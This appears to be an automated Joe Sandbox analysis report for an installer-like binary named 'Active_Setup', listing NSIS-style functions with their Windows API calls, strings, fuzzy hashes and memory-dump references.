Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

M, xrefs: 00404B43
, xrefs: 00404F39
@, xrefs: 00404B90
N, xrefs: 00404C06

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

A, xrefs: 00404636
@%F, xrefs: 00404674
82D, xrefs: 004046DB
@rD, xrefs: 00404610

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

name, xrefs: 00406FBF
GetTTFNameString, xrefs: 00406F07
%s: failed opening file "%s", xrefs: 00406F0C

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

\*.*, xrefs: 00406D03
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
Delete: DeleteFile("%s"), xrefs: 00406DBC
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

CreateToolhelp32Snapshot, xrefs: 004065B5
Process32FirstW, xrefs: 004065BD
Module32FirstW, xrefs: 004065D3
Unknown, xrefs: 004064FC
PSAPI.DLL, xrefs: 00406464
EnumProcesses, xrefs: 00406482
Kernel32.DLL, xrefs: 0040659B
Process32NextW, xrefs: 004065C8
EnumProcessModules, xrefs: 0040648A
GetModuleBaseNameW, xrefs: 00406494
Module32NextW, xrefs: 004065DE

Memory Dump Source

